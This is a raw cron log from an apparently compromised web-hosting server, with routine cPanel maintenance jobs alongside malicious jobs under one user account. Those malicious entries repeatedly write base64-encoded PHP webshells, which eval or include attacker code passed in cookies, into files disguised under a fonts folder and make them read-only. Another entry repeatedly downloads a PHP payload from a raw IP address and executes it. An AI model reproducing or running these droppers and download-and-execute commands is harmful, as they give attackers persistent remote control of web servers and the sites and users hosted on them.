Sep  4 16:38:01 ip-184-168-122-23 CROND[22023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:38:01 ip-184-168-122-23 CROND[22026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:39:01 ip-184-168-122-23 CROND[22207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:39:01 ip-184-168-122-23 CROND[22205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:39:01 ip-184-168-122-23 CROND[22208]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 16:39:01 ip-184-168-122-23 CROND[22209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:39:01 ip-184-168-122-23 CROND[22206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:40:01 ip-184-168-122-23 CROND[22301]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:40:01 ip-184-168-122-23 CROND[22304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:40:01 ip-184-168-122-23 CROND[22307]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:40:01 ip-184-168-122-23 CROND[22308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:40:01 ip-184-168-122-23 CROND[22306]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:40:01 ip-184-168-122-23 CROND[22309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:40:01 ip-184-168-122-23 CROND[22311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:40:01 ip-184-168-122-23 CROND[22313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:41:01 ip-184-168-122-23 CROND[22410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:41:01 ip-184-168-122-23 CROND[22411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:41:01 ip-184-168-122-23 CROND[22412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:41:01 ip-184-168-122-23 CROND[22413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:42:01 ip-184-168-122-23 CROND[22495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:42:01 ip-184-168-122-23 CROND[22493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:42:01 ip-184-168-122-23 CROND[22499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:42:01 ip-184-168-122-23 CROND[22501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:42:01 ip-184-168-122-23 CROND[22500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:43:01 ip-184-168-122-23 CROND[22598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:43:01 ip-184-168-122-23 CROND[22597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:43:01 ip-184-168-122-23 CROND[22599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:43:01 ip-184-168-122-23 CROND[22602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:44:01 ip-184-168-122-23 CROND[22727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:44:01 ip-184-168-122-23 CROND[22728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:44:01 ip-184-168-122-23 CROND[22731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:44:01 ip-184-168-122-23 CROND[22730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:44:01 ip-184-168-122-23 CROND[22729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:45:01 ip-184-168-122-23 CROND[22815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:45:01 ip-184-168-122-23 CROND[22817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:45:01 ip-184-168-122-23 CROND[22818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:45:01 ip-184-168-122-23 CROND[22819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:45:01 ip-184-168-122-23 CROND[22821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:45:01 ip-184-168-122-23 CROND[22820]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  4 16:45:01 ip-184-168-122-23 CROND[22823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:46:01 ip-184-168-122-23 CROND[22916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:46:01 ip-184-168-122-23 CROND[22919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:46:01 ip-184-168-122-23 CROND[22917]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 16:46:01 ip-184-168-122-23 CROND[22920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:46:01 ip-184-168-122-23 CROND[22921]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 16:46:01 ip-184-168-122-23 CROND[22918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:46:01 ip-184-168-122-23 CROND[22923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:47:01 ip-184-168-122-23 CROND[23013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:47:01 ip-184-168-122-23 CROND[23015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:47:01 ip-184-168-122-23 CROND[23014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:47:01 ip-184-168-122-23 CROND[23016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:48:01 ip-184-168-122-23 CROND[23197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:48:01 ip-184-168-122-23 CROND[23198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:48:01 ip-184-168-122-23 CROND[23199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:48:01 ip-184-168-122-23 CROND[23200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:48:01 ip-184-168-122-23 CROND[23201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:49:01 ip-184-168-122-23 CROND[23312]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 16:49:01 ip-184-168-122-23 CROND[23313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:49:01 ip-184-168-122-23 CROND[23314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:49:01 ip-184-168-122-23 CROND[23315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:49:01 ip-184-168-122-23 CROND[23316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:50:01 ip-184-168-122-23 CROND[23425]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:50:01 ip-184-168-122-23 CROND[23427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:50:01 ip-184-168-122-23 CROND[23430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:50:01 ip-184-168-122-23 CROND[23432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
